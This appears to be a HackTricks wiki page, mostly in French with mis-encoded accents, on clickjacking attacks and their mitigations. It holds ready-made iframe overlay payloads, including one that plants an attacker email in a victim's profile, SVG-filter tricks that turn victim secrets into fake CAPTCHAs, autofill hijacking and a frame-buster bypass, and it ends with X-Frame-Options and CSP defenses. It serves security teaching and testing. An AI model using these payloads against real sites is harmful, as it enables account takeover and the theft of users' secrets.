Clickjacking

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que le Clickjacking

Dans une attaque de clickjacking, un utilisateur est trompĂ© pour cliquer sur un Ă©lĂ©ment d’une page web qui est soit invisible soit dĂ©guisĂ© en un autre Ă©lĂ©ment. Cette manipulation peut entraĂźner des consĂ©quences imprĂ©vues pour l’utilisateur, telles que le tĂ©lĂ©chargement de malware, la redirection vers des pages web malveillantes, la fourniture d’identifiants ou d’informations sensibles, des transferts d’argent ou l’achat en ligne de produits.

Astuce de préremplissage des formulaires

Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramĂštres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des donnĂ©es arbitraires et envoyer la charge utile de clickjacking afin que l’utilisateur appuie sur le bouton Submit.

Remplir un formulaire avec Glisser&Déposer

Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d’entrer des informations spĂ©cifiques (comme l’email ou un mot de passe spĂ©cifique que vous connaissez), vous pouvez simplement lui demander de Glisser&DĂ©poser quelque chose qui Ă©crira vos donnĂ©es contrĂŽlĂ©es comme dans this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload en plusieurs étapes

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si vous avez identifiĂ© une attaque XSS qui nĂ©cessite qu’un utilisateur clique sur un Ă©lĂ©ment pour dĂ©clencher le XSS et que la page est vulnĂ©rable au clickjacking, vous pouvez en abuser pour tromper l’utilisateur afin qu’il clique sur le bouton/le lien.
Example:
Vous avez trouvé un self XSS dans certaines informations privées du compte (détails que vous seul pouvez définir et lire). La page contenant le formulaire pour définir ces informations est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les paramÚtres GET.
Un attaquant pourrait prĂ©parer une attaque de Clickjacking vers cette page en prĂ©remplissant le formulaire avec le XSS payload et en trompant l’utilisateur pour qu’il clique sur le bouton Submit du formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiĂ©es, l’utilisateur exĂ©cutera le XSS.

DoubleClickjacking

D’abord expliquĂ© dans cet article, cette technique demande Ă  la victime de double-cliquer sur un bouton d’une page personnalisĂ©e placĂ©e Ă  un emplacement spĂ©cifique, et utilise les diffĂ©rences de timing entre les Ă©vĂ©nements mousedown et onclick pour charger la page de la victime durant le double click afin que la victime clique en fait sur un bouton lĂ©gitime dans la page de la victime.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Cette technique permet de tromper l’utilisateur pour qu’il clique en un seul endroit sur la page victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des actions sensibles pouvant ĂȘtre effectuĂ©es en un seul clic, comme les invites OAuth acceptant des permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Les versions modernes de Chromium/WebKit/Gecko permettent d’appliquer via CSS filter:url(#id) des filtres sur des iframes cross-origin. Les pixels rasterisĂ©s de l’iframe sont exposĂ©s au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent dĂ©former arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, mĂȘme si l’attaquant ne touche jamais au DOM. Un simple filtre de type Liquid-Glass ressemble Ă  :

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitives utiles : feImage loads attacker bitmaps (e.g., overlays, displacement maps); feFlood builds constant-color mattes; feOffset/feGaussianBlur affinent les highlights; feDisplacementMap rĂ©fracte/dĂ©forme le texte; feComposite operator="arithmetic" implĂ©mente des mathĂ©matiques par canal arbitraires (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisantes pour le boost de contraste, le masquage, et les opĂ©rations AND/OR; feTile dĂ©coupe et rĂ©plique des pixel probes; feMorphology agrandit/rĂ©trĂ©cit les traits; feColorMatrix dĂ©place la luma dans l’alpha pour construire des masques prĂ©cis.

Distorting secrets into CAPTCHA-style prompts

If a framable endpoint renders secrets (tokens, reset codes, API keys), the attacker can distort them so they resemble a CAPTCHA and coerce manual transcription:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Les pixels dĂ©formĂ©s trompent l’utilisateur en le faisant « rĂ©soudre » le captcha Ă  l’intĂ©rieur de l’<input> contrĂŽlĂ© par l’attaquant dont le pattern impose le vrai secret de la victime.

Recontextualisation des saisies de la victime

Les filtres peuvent supprimer chirurgicalement le texte de placeholder/validation tout en conservant les frappes de l’utilisateur. Un flux de travail :

  1. feComposite operator="arithmetic" k2≈4 amplifie la luminositĂ©, de sorte que le texte d’aide gris devienne blanc.
  2. feTile limite la zone de travail au rectangle de l’input.
  3. feMorphology operator="erode" épaissit les glyphes sombres tapés par la victime et les stocke via result="thick".
  4. feFlood crĂ©e une plaque blanche, feBlend mode="difference" avec thick, et un second feComposite k2≈100 le transforme en un masque de luminance contrastĂ©.
  5. feColorMatrix place cette luminance dans l’alpha, et feComposite in="SourceGraphic" operator="in" conserve uniquement les glyphes saisis par l’utilisateur.
  6. Another feBlend in2="white" plus a thin crop gives a clean textbox, after which the attacker overlays their own HTML labels (e.g., “Enter your email”) while the hidden iframe still enforces the victim origin’s password policy.

Safari struggles with feTile; the same effect can be reproduced with spatial mattes built from feFlood + feColorMatrix + feComposite for WebKit-only payloads.

Sondes de pixels, logique et machines d’état

En rognant une rĂ©gion de 2–4 px avec feTile et en la mosaĂŻquant sur 100% du viewport, l’attaquant transforme la couleur Ă©chantillonnĂ©e en une texture plein-cadre qui peut ĂȘtre seuillĂ©e en un masque boolĂ©en :

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Pour des couleurs arbitraires, une rĂ©fĂ©rence feFlood (par ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmĂ©tique (k2≈100, k4 comme tolĂ©rance) produit du blanc uniquement lorsque le pixel Ă©chantillonnĂ© correspond Ă  la teinte cible. En alimentant ces masques dans feComposite avec k1..k4 rĂ©glĂ©s, on obtient des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre du blanc. En chaĂźnant les portes on construit un additionneur complet dans le graphe de filtres, prouvant que le pipeline est fonctionnellement complet.

Les attaquants peuvent donc lire l’état de l’UI sans JavaScript. Exemples de boolĂ©ens dans un workflow de fenĂȘtre modale :

  • D (dialog visible) : sonder un coin assombri et tester contre le blanc.
  • L (dialog loaded) : sonder les coordonnĂ©es oĂč le bouton apparaĂźt une fois prĂȘt.
  • C (checkbox checked) : comparer le pixel de la checkbox avec le bleu actif #0B57D0.
  • R (red success/failure banner) : utiliser feMorphology et des seuils rouges Ă  l’intĂ©rieur du rectangle de la banniĂšre.

Chaque Ă©tat dĂ©tectĂ© commande un bitmap d’overlay diffĂ©rent intĂ©grĂ© via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisĂ©s avec le dialog rĂ©el et guide la victime Ă  travers des workflows multi-Ă©tapes (rĂ©initialisations de mot de passe, approbations, confirmations destructrices) sans jamais exposer le DOM.

Browser extensions: DOM-based autofill clickjacking

Outre l’utilisation d’iframes pour charger des pages victimes, les attaquants peuvent cibler les Ă©lĂ©ments d’UI des extensions du navigateur injectĂ©s dans la page. Les gestionnaires de mots de passe affichent des menus dĂ©roulants de remplissage automatique prĂšs des champs focalisĂ©s ; en focalisant un champ contrĂŽlĂ© par l’attaquant et en cachant/obstruant le dropdown de l’extension (opacitĂ©/superposition/astuces de couche supĂ©rieure), un clic contraint de l’utilisateur peut sĂ©lectionner un Ă©lĂ©ment enregistrĂ© et remplir des donnĂ©es sensibles dans des inputs contrĂŽlĂ©s par l’attaquant. Cette variante n’exige aucune exposition via iframe et fonctionne entiĂšrement via manipulation DOM/CSS.

Stratégies pour atténuer le Clickjacking

Défenses cÎté client

Les scripts exécutés cÎté client peuvent effectuer des actions pour prévenir le Clickjacking :

  • S’assurer que la fenĂȘtre de l’application est la fenĂȘtre principale (top window).
  • Rendre toutes les frames visibles.
  • EmpĂȘcher les clics sur des frames invisibles.
  • DĂ©tecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.

Cependant, ces scripts anti-frame peuvent ĂȘtre contournĂ©s :

  • ParamĂštres de sĂ©curitĂ© des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramĂštres de sĂ©curitĂ© ou de l’absence de support JavaScript.
  • Attribut sandbox de l’iframe HTML5 : Un attaquant peut neutraliser les scripts de frame buster en dĂ©finissant l’attribut sandbox avec les valeurs allow-forms ou allow-scripts sans allow-top-navigation. Cela empĂȘche l’iframe de vĂ©rifier si elle est la fenĂȘtre principale, p. ex.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Les valeurs allow-forms et allow-scripts autorisent des actions Ă  l’intĂ©rieur de l’iframe tout en dĂ©sactivant la navigation au niveau supĂ©rieur. Pour garantir le fonctionnement prĂ©vu du site ciblĂ©, des permissions supplĂ©mentaires comme allow-same-origin et allow-modals peuvent ĂȘtre nĂ©cessaires, selon le type d’attaque. Les messages dans la console du navigateur peuvent indiquer quelles permissions autoriser.

Server-Side Defenses

X-Frame-Options

L’en-tĂȘte de rĂ©ponse HTTP X-Frame-Options informe les navigateurs de la lĂ©gitimitĂ© du rendu d’une page dans un <frame> ou <iframe>, aidant Ă  prĂ©venir le Clickjacking:

  • X-Frame-Options: deny - Aucun domaine ne peut afficher le contenu dans un frame.
  • X-Frame-Options: sameorigin - Seul le site courant peut afficher le contenu dans un frame.
  • X-Frame-Options: allow-from https://trusted.com - Seule l’URI spĂ©cifiĂ©e peut afficher la page dans un frame.
  • Notez les limitations : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs prĂ©fĂšrent la directive CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP est la méthode conseillée pour la protection contre le Clickjacking:

  • frame-ancestors 'none' - Similaire Ă  X-Frame-Options: deny.
  • frame-ancestors 'self' - Similaire Ă  X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similaire Ă  X-Frame-Options: allow-from.

Par exemple, la CSP suivante n’autorise le rendu dans un frame que depuis le mĂȘme domaine:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) est une mesure de sĂ©curitĂ© qui aide Ă  prĂ©venir le Clickjacking et d’autres attaques par injection de code en spĂ©cifiant quelles sources le navigateur doit autoriser Ă  charger du contenu.

frame-src Directive

  • DĂ©finit les sources valides pour les frames.
  • Plus spĂ©cifique que la directive default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Cette politique autorise les frames provenant de la mĂȘme origine (self) et de https://trusted-website.com.

child-src Directive

  • Introduit dans CSP level 2 pour dĂ©finir les sources valides pour les web workers et les frames.
  • Sert de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Cette politique autorise les frames et les workers depuis la mĂȘme origine (self) et https://trusted-website.com.

Notes d’utilisation :

  • DĂ©prĂ©ciation : child-src est en cours de suppression au profit de frame-src et worker-src.
  • Comportement de repli : Si frame-src est absent, child-src est utilisĂ© comme solution de repli pour les frames. Si les deux sont absents, default-src est utilisĂ©.
  • DĂ©finition stricte des sources : n’incluez que des sources de confiance dans les directives pour prĂ©venir toute exploitation.

JavaScript Frame-Breaking Scripts

Bien qu’ils ne soient pas complĂštement infaillibles, les JavaScript-based frame-busting scripts peuvent ĂȘtre utilisĂ©s pour empĂȘcher qu’une page web soit affichĂ©e dans un frame. Exemple:

if (top !== self) {
top.location = self.location
}

Utilisation des Anti-CSRF Tokens

  • Validation du token: Utilisez des anti-CSRF tokens dans les applications web pour garantir que les requĂȘtes modifiant l’état sont effectuĂ©es intentionnellement par l’utilisateur et non via une page Clickjacked.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks